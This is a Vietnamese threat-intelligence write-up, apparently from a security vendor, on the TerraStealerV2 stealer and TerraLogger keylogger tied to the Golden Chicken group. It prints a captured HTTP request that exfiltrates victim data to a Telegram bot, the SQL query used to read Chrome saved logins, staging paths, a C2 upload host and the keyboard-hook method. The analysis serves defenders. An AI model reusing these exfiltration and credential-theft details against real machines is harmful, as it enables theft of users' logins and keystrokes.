Nhóm Golden Chicken vừa ra mắt 2 dòng mã độc cực nguy hiểm mang tên TerraStealerV2 và TerraLogger

Mở đầu

Theo các ghi nhận của Insikt Group (một nhóm nghiên cứu của Recorded Future) đã phát hiện 2 dòng mã độc mới là TerraStealerV2 và TerraLogger liên quan đến nhóm GoldenChiken (nhóm này cũng được biết đến với cái tên là Venom Spider). Nhóm Golden Chicken này được biết tới bởi điều hành một nền tảng Malware-as-a-Service (MaaS) được sử dụng bởi các nhóm tội phạm như là FIN 6, Cobalt Strike và Evilnum. Kể từ 2018, nhóm này đã thực hiện nhiều chiến dịch tấn công vào các tổ chức lớn thông qua các chiến dịch phishing sử dụng các lời mời làm việc và hồ sơ phỏng vấn giả mạo. Hai dòng mã độc mà nhóm này tạo ra có mục đích nhằm đánh cắp dữ liệu và keylogging.

Bộ công cụ của Golden Chicken MaaS

Thành phần chính của bộ công cụ của Golden Chicken MaaS là VenomLNK và TerraLoader. Việc lây nhiễm ban đầu vào máy nạn nhân thông qua một shortcut trên Windows tên là VenomLNK mà sẽ thực thi loaderTerraLoader. TerraLoader sau đó sẽ thiết lập các mã độc khác và có nhiều module khác nhau.

Vào khoảng thời gian tháng 8 đến tháng 10 năm 2024, Zscaler ThreatLabz đã phát hiện hành vi với liên quan đến nhóm Golden Chicken sử dụng 2 dòng mã độc là RevC2 và Venom Loader. Chúng cũng được thiết lập thông qua VenomLNK, sử dụng phương thức tấn công xã hội như yêu cầu thanh toán tiền điện tử và tài liệu sử dụng API.

TerraStealerV2

Mã độc stealer này có dự định sẽ phân phối thông qua file OCX và thực thi thông qua regsvr32.exe, sau đó gọi tới hàm DllRegisterServer. Hàm DllRegisterServer sẽ kiểm tra file được cũng cấp có phải là .ocx không và tên file có phải kết thức bằng ký tự cụ thể nào đó không (ví dụ là 0.ocx). Sau đó file này sẽ được chạy bởi regsvr32.exe.

Mã độc sẽ thực hiện giải mã sử dụng XOR cùng với key đã có sẵn. Sau đó nó sẽ thu thập các thông tin cơ bản như là tên thiết bị và các user local trên máy. Mã độc cũng xác định địa chỉ Ip của máy thông qua HTTP request tới ifconfig[.]me. Những thông tin này sẽ được gửi tới Telegram vào kênh Noterdam sử dụng bot token liên quan tới NoterdanssBot. Thông tin requesst gửi đến Telegram như sau

POST /< redacted >/sendMessage?chat_id=-4652754121 HTTP/1.1
Host: api.telegram.org
Accept: */*
Content-Length: 24014
Content-Type: application/x-www-form-urlencoded


chat_id=-4652754121&text=%2A%2ANew%20User%20Ran%20the%20Application%2A%2A%0A%2A%2AUsername%3A%2A%2A%20Admin%0A%2A%2APC%20Name%3A%2A%2A%20UUHJKMQK%0A%2A%2AIP%20Address%3A%2A%2A%20%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-style-type%22%20content%3D%22text%2Fcss%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-script-type%22%20content%3D%22text%2Fjavascript%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-language%22%20content%3D%22en%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22pragma%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22cache-control%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22description%22%20content%3D%22Get%20my%20IP%20Address%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22keywords%22%20content%3D%22ip%20address%20ifconfig%20ifconfig.me%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22author%22%20content%3D%22%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22favicon.ico%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22canonical%22%20href%3D%22https%3A%2F%2Fifconfig.me%2F%22%20%2F%3E%0A%20%20%20%20%3Ctitle%3EWhat%20Is%20My%20IP%20Address%3F%20-%20ifconfig.me%3C%2Ftitle%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%20%20%20%20%3Clink%20href%3D%22.%2Fstatic%2Fstyles%2Fstyle.css%22%20rel%3D%22stylesheet%22%20type%3D%22text%2Fcss%22%3E%0A%20%20%20%20%3Clink%20href%3D%22https%3A%2F%2Ffonts.googleapis.com%2Fcss%3Ffa

Mã độc sau đó sẽ thực hiện thu thập thông tin các process đang chạy, tìm kiếm tiến trình chrome.exe và nếu phát hiện đang chạy sẽ thực hiện ngừng tiến trình thông qua Windows API. Điều này được cho là giải phóng file cơ sở dữ liệu của Chrome, đảm bảo không bị cản trở khi truy cập vào file này khi đang trích xuất dữ liệu. Sau đó mã độc sẽ đánh cắp công tin tài khoản và các thông tin nhạy cảm khác trên Chrome. Chúng sẽ sao chép cơ sở dữ liệu Login Data vào C:\ProgramData\Temp\LoginData, sau đó sẽ trích xuất dữ liệu đăng nhập được lưu bằng các sử dụng thư viện SQLite liên kết tĩnh để thực thi câu lệnh SQL

SELECT origin_url, username_value, password_value FROM logins

Tuy nhiên mã độc này không thể vượt qua được Application Bound Encryption (ABE) của Chrome được cập nhật vào tháng 7 năm 2024 nên mật khẩu chưa thể được giải mã. Điều này cho thấy rằng code của mã độc này đang lỗi thời và vẫn trong quá trình phát triển. Những thông tin trích xuất được sẽ được viết vào trong file C:\ProgramData\file.txt và sau đó được sao chép vào %LOCALAPPDATA%\Packages\Bay0NsQIzx\p.txt. Các thư mục extension và ví của Chrome cũng được sao chép tới %LOCALAPPDATA%\Packages\Bay0NsQIzx. Những thông tin này sau đó sẽ được nén lại vào file tên là output.zip và sau đó được dược gửi tới Telegram bot và một máy chủ C2 được host tại wetransfers[.]io/uplo.php.

TerraLogger

Mã độc TerraLogger được phân phối dưới dạng một file OCX và cũng được thực thi tương tự như là TerraStealerV2. Mã độc này sẽ lưu lại nội dung người dùng nhập vào trong các file như là a.txt, f.txt, op.txt và save.txt nằm trong thưc mục C:\ProgramData. Mã độc keylogger này sử dụng kỹ thuật thông thường bằng cách cài đặt một hook WH_KEYBOARD_LL sử dụng SetWindowsHookExA, đăng ký một hàm fn để cho phép ghi lại hoạt động của bàn phím.Nội

Nội dung thu thập được sẽ được ghi lại vào file như sau:/h2

Khuyến nghị

Phía FPT Threat Intelligence khuyến nghị người dùng cảnh giác với các dòng mã độc trên và có các biện pháp như:

• Cập nhật danh sách IOC liên quan tới mã độc

• Có các biện pháp giám sát phát hiện kịp thời các phần mềm độc hại

• Cảnh giác trước các chiêu trò tấn công phishing mới, phức tạp

• Nâng cao nhận thức của nhân viên, người dùng và thường xuyên diễn tập an toàn thông tin

IOC

Tham khảo

• https://www.recordedfuture.com/research/terrastealerv2-and-terralogger

• https://thehackernews.com/2025/05/golden-chickens-deploy-terrastealerv2.html